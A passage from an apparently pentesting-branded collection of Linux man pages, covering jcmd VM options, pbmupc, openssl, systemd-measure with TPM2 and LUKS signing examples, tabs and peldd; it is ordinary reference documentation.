The following options must be specified using either key or key**=**value syntax.

  • output: (Optional) The name or index (#) of output to configure. (STRING, no default value)

  • output_options: (Optional) Options for the output. (STRING, no default value)

  • what: (Optional) Configures what tags to log. (STRING, no default value )

  • decorators: (Optional) Configures which decorators to use. Use ’none’ or an empty value to remove all. (STRING, no default value)

  • disable: (Optional) Turns off all logging and clears the log configuration. (BOOLEAN, no default value)

  • list: (Optional) Lists current log configuration. (BOOLEAN, no default value)

  • rotate: (Optional) Rotates all logs. (BOOLEAN, no default value)

VM.flags [options]
Prints the VM flag options and their current values.

Impact: Low

Permission: java.lang.management.ManagementPermission(monitor)

Note:

The following options must be specified using either key or key**=**value syntax.

options:

  • -all: (Optional) Prints all flags supported by the VM (BOOLEAN, false).

VM.native_memory [options]
Prints native memory usage

Impact: Medium

Permission: java.lang.management.ManagementPermission(monitor)

Note:

The following options must be specified using either key or key**=**value syntax.

options:

  • summary: (Optional) Requests runtime to report current memory summary, which includes total reserved and committed memory, along with memory usage summary by each subsystem. (BOOLEAN, false)

  • detail: (Optional) Requests runtime to report memory allocation >= 1K by each callsite. (BOOLEAN, false)

  • baseline: (Optional) Requests runtime to baseline current memory usage, so it can be compared against in later time. (BOOLEAN, false)

  • summary.diff: (Optional) Requests runtime to report memory summary comparison against previous baseline. (BOOLEAN, false)

  • detail.diff: (Optional) Requests runtime to report memory detail comparison against previous baseline, which shows the memory allocation activities at different callsites. (BOOLEAN, false)

  • shutdown: (Optional) Requests runtime to shutdown itself and free the memory used by runtime. (BOOLEAN, false)

  • statistics: (Optional) Prints tracker statistics for tuning purpose. (BOOLEAN, false)

  • scale: (Optional) Memory usage in which scale, KB, MB or GB (STRING, KB)

VM.print_touched_methods
Prints all methods that have ever been touched during the lifetime of this JVM.

Impact: Medium — depends on Java content.

VM.set_flag [arguments]
Sets the VM flag option by using the provided value.

Impact: Low

Permission: java.lang.management.ManagementPermission(control)

arguments:

  • flag name: The name of the flag that you want to set (STRING, no default value)

  • string value: (Optional) The value that you want to set (STRING, no default value)

VM.stringtable [options]
Dumps the string table.

Impact: Medium — depends on the Java content.

Permission: java.lang.management.ManagementPermission(monitor)

Note:

The following options must be specified using either key or key**=**value syntax.

options:

  • -verbose: (Optional) Dumps the content of each string in the table (BOOLEAN, false)

VM.symboltable [options]
Dumps the symbol table.

Impact: Medium — depends on the Java content.

Permission: java.lang.management.ManagementPermission(monitor)

Note:

The following options must be specified using either key or key**=**value syntax).

options:

  • -verbose: (Optional) Dumps the content of each symbol in the table (BOOLEAN, false)

VM.systemdictionary
Prints the statistics for dictionary hashtable sizes and bucket length.

Impact: Medium

Permission: java.lang.management.ManagementPermission(monitor)

Note:

The following options must be specified using either key or key**=**value syntax.

options:

  • verbose: (Optional) Dump the content of each dictionary entry for all class loaders (BOOLEAN, false) .

VM.system_properties
Prints the system properties.

Impact: Low

Permission: java.util.PropertyPermission(*, read)

VM.uptime [options]
Prints the VM uptime.

Impact: Low

Note:

The following options must be specified using either key or key**=**value syntax.

options:

  • -date: (Optional) Adds a prefix with the current date (BOOLEAN, false)

VM.version
Prints JVM version information.

Impact: Low

Permission: java.util.PropertyPermission(java.vm.version, read)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1780 - Linux cli command pbmupc

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pbmupc and provides detailed information about the command pbmupc, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pbmupc.

.

NAME 🖥️ pbmupc 🖥️

create a Universal Product Code PBM image

SYNOPSIS

pbmupc

[-s1 | -s2] type manufacturer product

DESCRIPTION

This program is part of Netpbm(1) .

pbmupc generates an image of a Universal Product Code symbol. The three arguments are: a one digit product type, a five digit manufacturer code, and a five digit product code. For example, “0 72890 00011” is the code for Heineken.

pbmupc produces an image 230 bits wide and 175 bits high. If you want a different size run the output through pamscale.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pbmupc recognizes the following command line options:

The -s1 and -s2 options select the style of UPC to generate. The default, -s1, looks more or less like this:

 ||||||||||||||||
 ||||||||||||||||
 ||||||||||||||||
 ||||||||||||||||
0||12345||67890||5

The other style, -s2, puts the product type digit higher up, and doesn’t display the checksum digit:

 ||||||||||||||||
 ||||||||||||||||
0||||||||||||||||
 ||||||||||||||||
 ||12345||67890||

SEE ALSO

pamscale(1) pbm(1)

AUTHOR

Copyright (C) 1989 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pbmupc.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1781 - Linux cli command pkeyparamssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pkeyparamssl and provides detailed information about the command pkeyparamssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pkeyparamssl.

NAME 🖥️ pkeyparamssl 🖥️

OpenSSL application commands

SYNOPSIS

openssl cmd -help | [-option | -option arg] … [arg] …

DESCRIPTION

Every cmd listed above is a (sub-)command of the openssl (1) application. It has its own detailed manual page at **openssl-**cmd(1). For example, to view the manual page for the openssl dgst command, type man openssl-dgst.

OPTIONS

Among others, every subcommand has a help option.

-help
Print out a usage message for the subcommand.

SEE ALSO

openssl (1), openssl-asn1parse (1), openssl-ca (1), openssl-ciphers (1), openssl-cmp (1), openssl-cms (1), openssl-crl (1), openssl-crl2pkcs7 (1), openssl-dgst (1), openssl-dhparam (1), openssl-dsa (1), openssl-dsaparam (1), openssl-ec (1), openssl-ecparam (1), openssl-enc (1), openssl-engine (1), openssl-errstr (1), openssl-gendsa (1), openssl-genpkey (1), openssl-genrsa (1), openssl-info (1), openssl-kdf (1), openssl-mac (1), openssl-nseq (1), openssl-ocsp (1), openssl-passwd (1), openssl-pkcs12 (1), openssl-pkcs7 (1), openssl-pkcs8 (1), openssl-pkey (1), openssl-pkeyparam (1), openssl-pkeyutl (1), openssl-prime (1), openssl-rand (1), openssl-rehash (1), openssl-req (1), openssl-rsa (1), openssl-rsautl (1), openssl-s_client (1), openssl-s_server (1), openssl-s_time (1), openssl-sess_id (1), openssl-smime (1), openssl-speed (1), openssl-spkac (1), openssl-srp (1), openssl-storeutl (1), openssl-ts (1), openssl-verify (1), openssl-version (1), openssl-x509 (1),

HISTORY

Initially, the manual page entry for the openssl cmd command used to be available at cmd(1). Later, the alias **openssl-**cmd(1) was introduced, which made it easier to group the openssl commands using the apropos (1) command or the shell’s tab completion.

In order to reduce cluttering of the global manual page namespace, the manual page entries without the ‘openssl-’ prefix have been deprecated in OpenSSL 3.0 and will be removed in OpenSSL 4.0.

COPYRIGHT

Copyright 2019-2020 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1782 - Linux cli command systemd-measure

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command systemd-measure and provides detailed information about the command systemd-measure, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the systemd-measure.

NAME 🖥️ systemd-measure 🖥️

measure - Pre-calculate and sign expected TPM2 PCR values for booted unified kernel images

SYNOPSIS

/usr/lib/systemd/systemd-measure [OPTIONS…]

DESCRIPTION

Note: this command is experimental for now. While it is likely to become a regular component of systemd, it might still change in behaviour and interface.

systemd-measure is a tool that may be used to pre-calculate and sign the expected TPM2 PCR 11 values that should be seen when a Linux Unified Kernel Image (UKI)[1] based on systemd-stub(7) is booted up. It accepts paths to the ELF kernel image file, initrd image file, devicetree file, kernel command line file, os-release(5) file, boot splash file, and TPM2 PCR PEM public key file that make up the unified kernel image, and determines the PCR values expected to be in place after booting the image. Calculation starts with a zero-initialized PCR 11, and is executed in a fashion compatible with what systemd-stub does at boot. The result may optionally be signed cryptographically, to allow TPM2 policies that can only be unlocked if a certain set of kernels is booted, for which such a PCR signature can be provided.

It usually doesnt make sense to call this tool directly when constructing a UKI. Instead, ukify(1) should be used; it will invoke systemd-measure and take care of embedding the resulting measurements into the UKI.

COMMANDS

The following commands are understood:

status

This is the default command if none is specified. This queries the local systems TPM2 PCR 11+12+13 values and displays them. The data is written in a similar format as the calculate command below, and may be used to quickly compare expectation with reality.

Added in version 252.

calculate

Pre-calculate the expected values seen in PCR register 11 after boot-up of a unified kernel image consisting of the components specified with –linux=, –osrel=, –cmdline=, –initrd=, –ucode=, –splash=, –dtb=, –uname=, –sbat=, –pcrpkey= see below. Only –linux= is mandatory. (Alternatively, specify –current to use the current values of PCR register 11 instead.)

Added in version 252.

sign

As with the calculate command, pre-calculate the expected value seen in TPM2 PCR register 11 after boot-up of a unified kernel image. Then, cryptographically sign the resulting values with the private/public key pair (RSA) configured via –private-key= and –public-key=. This will write a JSON object to standard output that contains signatures for all specified PCR banks (see the –bank= option below), which may be used to unlock encrypted credentials (see systemd-creds(1)) or LUKS volumes (see [email protected](8)). This allows binding secrets to a set of kernels for which such PCR 11 signatures can be provided.

Note that a TPM2 device must be available for this signing to take place, even though the result is not tied to any TPM2 device or its state.

Added in version 252.

OPTIONS

The following options are understood:

**–linux=**PATH, **–osrel=**PATH, **–cmdline=**PATH, **–initrd=**PATH, **–ucode=**PATH, **–splash=**PATH, **–dtb=**PATH, **–uname=**PATH, **–sbat=**PATH, **–pcrpkey=**PATH

When used with the calculate or sign verb, configures the files to read the unified kernel image components from. Each option corresponds with the equally named section in the unified kernel PE file. The –linux= switch expects the path to the ELF kernel file that the unified PE kernel will wrap. All switches except –linux= are optional. Each option may be used at most once.

Added in version 252.

–current

When used with the calculate or sign verb, takes the PCR 11 values currently in effect for the system (which should typically reflect the hashes of the currently booted kernel). This can be used in place of –linux= and the other switches listed above.

Added in version 252.

**–bank=**DIGEST

Controls the PCR banks to pre-calculate the PCR values for – in case calculate or sign is invoked –, or the banks to show in the status output. May be used more then once to specify multiple banks. If not specified, defaults to the four banks “sha1”, “sha256”, “sha384”, “sha512”.

Added in version 252.

**–private-key=**PATH, **–public-key=**PATH, **–certificate=**PATH

These switches take paths to a pair of PEM encoded RSA key files, for use with the sign command.

Note the difference between the –pcrpkey= and –public-key= switches. The former selects the data to include in the “.pcrpkey” PE section of the unified kernel image, the latter picks the public key of the key pair used to sign the resulting PCR 11 values. The former is the key that the booted system will likely use to lock disk and credential encryption to, the latter is the key used for unlocking such resources again. Hence, typically the same PEM key should be supplied in both cases.

If the –public-key= is not specified but –private-key= is specified the public key is automatically derived from the private key.

–certificate= can be used to specify an X.509 certificate as an alternative to –public-key= since v256.

Added in version 252.

**–private-key=**PATH/URI, **–private-key-source=**TYPE[:NAME], **–certificate=**PATH

As an alternative to –public-key= for the sign command, these switches can be used to sign with an hardware token. The private key option can take a path or a URI that will be passed to the OpenSSL engine or provider, as specified by –private-key-source= as a type:name tuple, such as engine:pkcs11. The specified OpenSSL signing engine or provider will be used to sign.

Added in version 256.

**–tpm2-device=**PATH

Controls which TPM2 device to use. Expects a device node path referring to the TPM2 chip (e.g. /dev/tpmrm0). Alternatively the special value “auto” may be specified, in order to automatically determine the device node of a suitable TPM2 device (of which there must be exactly one). The special value “list” may be used to enumerate all suitable TPM2 devices currently discovered.

Added in version 252.

**–phase=**PHASE

Controls which boot phases to calculate expected PCR 11 values for. This takes a series of colon-separated strings that encode boot “paths” for entering a specific phase of the boot process. Each of the specified strings is measured by the systemd-pcrphase-initrd.service, systemd-pcrphase-sysinit.service, and systemd-pcrphase.service(8) into PCR 11 during different milestones of the boot process. This switch may be specified multiple times to calculate PCR values for multiple boot phases at once. If not used defaults to “enter-initrd”, “enter-initrd:leave-initrd”, “enter-initrd:leave-initrd:sysinit”, “enter-initrd:leave-initrd:sysinit:ready”, i.e. calculates expected PCR values for the boot phase in the initrd, during early boot, during later boot, and during system runtime, but excluding the phases before the initrd or when shutting down. This setting is honoured both by calculate and sign. When used with the latter its particularly useful for generating PCR signatures that can only be used for unlocking resources during specific parts of the boot process.

For further details about PCR boot phases, see systemd-pcrphase.service(8).

Added in version 252.

**–append=**PATH

When generating a PCR JSON signature (via the sign command), combine it with a previously generated PCR JSON signature, and output it as one. The specified path must refer to a regular file that contains a valid JSON PCR signature object. The specified file is not modified. It will be read first, then the newly generated signature appended to it, and the resulting object is written to standard output. Use this to generate a single JSON object consisting from signatures made with a number of signing keys (for example, to have one key per boot phase). The command will suppress duplicates: if a specific signature is already included in a JSON signature object it is not added a second time.

Added in version 253.

**–json=**MODE

Shows output formatted as JSON. Expects one of “short” (for the shortest possible output without any redundant whitespace or line breaks), “pretty” (for a pretty version of the same, with indentation and line breaks) or “off” (to turn off JSON output, the default).

–no-pager

Do not pipe output into a pager.

-h, –help

Print a short help text and exit.

–version

Print a short version string and exit.

EXAMPLES

Example 1. Generate a unified kernel image, and calculate the expected TPM PCR 11 value

$ ukify –output=vmlinux.efi
[email protected]
[email protected]
–splash=splash.bmp
–devicetree=devicetree.dtb
–measure
vmlinux initrd.cpio 11:sha1=d775a7b4482450ac77e03ee19bda90bd792d6ec7 11:sha256=bc6170f9ce28eb051ab465cd62be8cf63985276766cf9faf527ffefb66f45651 11:sha384=1cf67dff4757e61e5…7f49ad720be02fd07263e1f93061243aec599d1ee4b4 11:sha512=8e79acd3ddbbc8282…0c3e8ec0c714821032038f525f744960bcd082d937da

ukify(1) internally calls systemd-measure. The output with hashes is from systemd-measure.

Example 2. Generate a private/public key pair, a unified kernel image, and a TPM PCR 11 signature for it, and embed the signature and the public key in the image

$ openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:2048 -out tpm2-pcr-private.pem ..+.+++++++++……+………+……+…….+….+…..+.+…+………. $ openssl rsa -pubout -in tpm2-pcr-private.pem -out tpm2-pcr-public.pem # systemd-measure sign
–linux=vmlinux
–osrel=os-release.txt
–cmdline=cmdline.txt
–initrd=initrd.cpio
–splash=splash.bmp
–dtb=devicetree.dtb
–pcrpkey=tpm2-pcr-public.pem
–bank=sha1
–bank=sha256
–private-key=tpm2-pcr-private.pem
–public-key=tpm2-pcr-public.pem >tpm2-pcr-signature.json # ukify –output=vmlinuz.efi
[email protected]
[email protected]
–splash=splash.bmp
–devicetree=devicetree.dtb
–pcr-private-key=tpm2-pcr-private.pem
–pcr-public-key=tpm2-pcr-public.pem
–pcr-banks=sha1,sha256
vmlinux initrd.cpio

Later on, enroll the signed PCR policy on a LUKS volume:

systemd-cryptenroll –tpm2-device=auto \

     --tpm2-public-key=tpm2-pcr-public.pem \
     --tpm2-signature=tpm2-pcr-signature.json \
     /dev/sda5

And then unlock the device with the signature:

systemd-cryptsetup attach \

     volume5 /dev/sda5 - \
     tpm2-device=auto,tpm2-signature=/path/to/tpm2-pcr-signature.json

Note that when the generated unified kernel image vmlinux.efi is booted, the signature and public key files will be placed at locations systemd-cryptenroll and systemd-cryptsetup will look for anyway, and thus these paths do not actually need to be specified.

Example 3. Introduce a second public key, signing the same kernel PCR measurements, but only for the initrd boot phase

This example extends the previous one, but we now introduce a second signing key that is only used to sign PCR policies restricted to the initrd boot phase. This can be used to lock down root volumes in a way that they can only be unlocked before the transition to the host system. Thus we have two classes of secrets or credentials: one that can be unlocked during the entire runtime, and the other that can only be used in the initrd.

$ openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:2048 -out tpm2-pcr-private.pem .+……..+.+……..+…….+…+…+……..+….+……+..+………. $ openssl rsa -pubout -in tpm2-pcr-private.pem -out tpm2-pcr-public.pem $ openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:2048 -out tpm2-pcr-initrd-private.pem ..+…….++……..+……..+……+……..+….+…..+.+..+………. $ openssl rsa -pubout -in tpm2-pcr-initrd-private.pem -out tpm2-pcr-initrd-public.pem # ukify –output vmlinux-1.2.3.efi
[email protected]
[email protected]
–splash=splash.bmp
–devicetree=devicetree.dtb
–pcr-private-key=tpm2-pcr-private.pem
–pcr-public-key=tpm2-pcr-public.pem
–phases=enter-initrd,enter-initrd:leave-initrd,enter-initrd:leave-initrd:sysinit,enter-initrd:leave-initrd:sysinit:ready
–pcr-banks=sha1,sha256
–pcr-private-key=tpm2-pcr-initrd-private.pem
–pcr-public-key=tpm2-pcr-initrd-public.pem
–phases=enter-initrd
vmlinux-1.2.3 initrd.cpio
–uname=1.2.3 + /usr/lib/systemd/systemd-measure sign –linux=vmlinux-1.2.3
–osrel=os-release.txt –cmdline=cmdline.txt –dtb=devicetree.dtb
–splash=splash.bmp –initrd=initrd.cpio –bank=sha1 –bank=sha256
–private-key=tpm2-pcr-private.pem –public-key=tpm2-pcr-public.pem
–phase=enter-initrd –phase=enter-initrd:leave-initrd
–phase=enter-initrd:leave-initrd:sysinit
–phase=enter-initrd:leave-initrd:sysinit:ready + /usr/lib/systemd/systemd-measure sign –linux=vmlinux-1.2.3
–osrel=os-release.txt –cmdline=cmdline.txt –dtb=devicetree.dtb
–splash=splash.bmp –initrd=initrd.cpio –bank=sha1 –bank=sha256
–private-key=tpm2-pcr-initrd-private.pem
–public-key=tpm2-pcr-initrd-public.pem
–phase=enter-initrd Wrote unsigned vmlinux-1.2.3.efi

ukify prints out both invocations of systemd-measure as informative output (the lines starting with “+”); this allows us to see how systemd-measure is called. It then merges the output of both invocations into the “.pcrsig” section. systemd-measure may also do this merge itself using the –append= option.

Note that in this example the “.pcrpkey” PE section contains the key specified by the first –pcr-private-key= option, covering all boot phases. The “.pcrpkey” section is used in the default policies of systemd-cryptenroll and systemd-creds. To use the stricter policy bound to tpm-pcr-initrd-public.pem, specify –tpm2-public-key= on the command line of those tools.

EXIT STATUS

On success, 0 is returned, a non-zero failure code otherwise.

SEE ALSO

systemd(1), systemd-stub(7), ukify(1), systemd-creds(1), [email protected](8), systemd-pcrphase.service(8)

NOTES

Unified Kernel Image (UKI)

https://uapi-group.org/specifications/specs/unified_kernel_image/

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1783 - Linux cli command tabs

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tabs and provides detailed information about the command tabs, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tabs.

NAME 🖥️ tabs 🖥️

set terminal tab stops

SYNOPSIS

tabs [options] [tabstop-list]

DESCRIPTION

The tabs program clears and sets tab-stops on the terminal. This uses the terminfo clear_all_tabs and set_tab capabilities. If either is absent, tabs is unable to clear/set tab-stops. The terminal should be configured to use hard tabs, e.g.,

stty tab0

Like clear(1), tabs writes to the standard output. You can redirect the standard output to a file (which prevents tabs from actually changing the tabstops), and later cat the file to the screen, setting tabstops at that point.

These are hardware tabs, which cannot be queried rapidly by applications running in the terminal, if at all. Curses and other full-screen applications may use hardware tabs in optimizing their output to the terminal. If the hardware tabstops differ from the information in the terminal database, the result is unpredictable. Before running curses programs, you should either reset tab-stops to the standard interval

tabs -8

or use the reset program, since the normal initialization sequences do not ensure that tab-stops are reset.

OPTIONS

General Options

-Tname
Tell tabs which terminal type to use. If this option is not given, tabs will use the $TERM environment variable. If that is not set, it will use the ansi+tabs entry.

-d
The debugging option shows a ruler line, followed by two data lines. The first data line shows the expected tab-stops marked with asterisks. The second data line shows the actual tab-stops, marked with asterisks.

-n
This option tells tabs to check the options and run any debugging option, but not to modify the terminal settings.

-V
reports the version of ncurses which was used in this program, and exits.

The tabs program processes a single list of tab stops. The last option to be processed which defines a list is the one that determines the list to be processed.

Implicit Lists

Use a single number as an option, e.g., -5 to set tabs at the given interval (in this case 1, 6, 11, 16, 21, etc.). Tabs are repeated up to the right margin of the screen.

Use -0 to clear all tabs.

Use -8 to set tabs to the standard interval.

Explicit Lists

An explicit list can be defined after the options (this does not use a -). The values in the list must be in increasing numeric order, and greater than zero. They are separated by a comma or a blank, for example,

tabs 1,6,11,16,21 tabs 1 6 11 16 21

Use a + to treat a number as an increment relative to the previous value, e.g.,

tabs 1,+5,+5,+5,+5

which is equivalent to the 1,6,11,16,21 example.

Predefined Tab Stops

POSIX defines several predefined lists of tab stops.

-a
Assembler, IBM S/370, first format
1,10,16,36,72

-a2
Assembler, IBM S/370, second format
1,10,16,40,72

-c
COBOL, normal format
1,8,12,16,20,55

-c2
COBOL compact format
1,6,10,14,49

-c3
COBOL compact format extended
1,6,10,14,18,22,26,30,34,38,42,46,50,54,58,62,67

-f
FORTRAN
1,7,11,15,19,23

-p
PL/I
1,5,9,13,17,21,25,29,33,37,41,45,49,53,57,61

-s
SNOBOL
1,10,55

-u
UNIVAC 1100 Assembler
1,12,20,44

Margins

A few terminals expose a means of changing their left and right margins. tabs supports this feature with an option.

+m* margin*
The effect depends on whether the terminal has the margin capabilities:

  • If the terminal provides the capability for setting the left margin, tabs uses this, and adjusts the available tab stop widths.

  • If the terminal does not provide the margin capabilities, tabs imitates their effect, putting tab stops at appropriate places on each line. The terminal’s left margin is not modified.

If the margin parameter is omitted, the default is 10. Use +m0 to reset the left margin, that is, to make it the left edge of the terminal’s display. Before setting a left margin, tabs resets the margin to reduce problems that might arise from moving the cursor to the left of the current left margin.

When setting or resetting the left margin, tabs may also reset the right margin.

FILES

/usr/share/tabset
tab stop initialization database

PORTABILITY

IEEE Std 1003.1/The Open Group Base Specifications Issue 7 (POSIX.1-2008) describes a tabs utility. However,

  • this standard describes a +m option to set a terminal’s left margin. Very few of the entries in the terminal database provide the set_left_margin (smgl) or set_left_margin_parm (smglp) capabilities needed to support the feature.

  • There is no counterpart in X/Open Curses Issue 7 for this utility, unlike tput(1).

The -d (debug) and -n (no-op) options are ncurses extensions not provided by other implementations.

HISTORY

A tabs utility appeared in PWB/Unix 1.0 (1977). A reduced version shipped in Seventh Edition Unix (early 1979) and in 3BSD (later the same year); it supported a -n option to set the first tab stop at the left margin. That option is not specified by POSIX.

The PWB/Unix tabs utility returned in System III (1980), and used built-in tables to support a half-dozen hardcopy terminal (printer) types. It also had logic to support setting the left margin, as well as a feature for copying the tab settings from a file.

Versions of the program in later releases of AT&T Unix, such as SVr4, added support for the terminal database, but retained the tables to support the printers. By this time, System V tput had incorporated the tab stop initialization feature of BSD’s tset from 1982, but employed the terminfo database to do so.

The +m option was documented in the POSIX Base Specifications Issue 5 (Unix98, 1997), then omitted in Issue 6 (Unix03, 2004) without express motivation, though an introductory comment and optionally adjusts the margin remains, overlooked in the removal. The tabs utility documented in Issues 6 and later has no mechanism for setting margins. The +m option in ncurses tabs differs from the SVr4 feature by using terminal capabilities rather than built-in tables.

POSIX documents no limit on the number of tab stops. Other implementations impose one; the limit is 20 in PWB/Unix’s tabs utility. While some terminals may not accept an arbitrary number of tab stops, ncurses tabs attempts to set tab stops up to the right margin if the list thereof is sufficiently long.

The Rationale section of the Issue 6 tabs reference page details how the committee considered redesigning the tabs and tput utilities, without settling on an improved solution. It claims that

no known historical version of tabs supports the capability of setting arbitrary tab stops.

The feature described in subsection Explicit Lists above was implemented in PWB/Unix, and permitted the setting of abitrary tab stops nevertheless.

SEE ALSO

infocmp(1), tset(1), ncurses(3NCURSES), terminfo(5)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1784 - Linux cli command peldd

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command peldd and provides detailed information about the command peldd, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the peldd.

NAME 🖥️ peldd 🖥️

shows library dependencies for a given PE file

SYNOPSIS

peldd [OPTIONS]… pefile

DESCRIPTION

peldd shows library dependencies for a given PE file. It’s part of pev, the PE file analysis toolkit.

pefile is a PE32/PE32+ executable or dynamic linked library file.

OPTIONS

-f, –format <text|csv|xml|html>
Change output format (default is text).

-v, –verbose
Show more information about found items.

-V, –version
Show version.

–help
Show help.

EXAMPLES

Show library dependencies for putty.exe:

$ peldd putty.exe

REPORTING BUGS

Please, check the latest development code and report at https://github.com/mentebinaria/readpe/issues

SEE ALSO

ofs2rva(1), pedis(1), pehash(1), pepack(1), peres(1), pescan(1), pesec(1), pestr(1), readpe(1), rva2ofs(1)

COPYRIGHT

Copyright (C) 2018 - 2020 pev authors. License GPLv2+: GNU GPL version 2 or later <https://www.gnu.org/licenses/gpl-2.0.txt>. This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

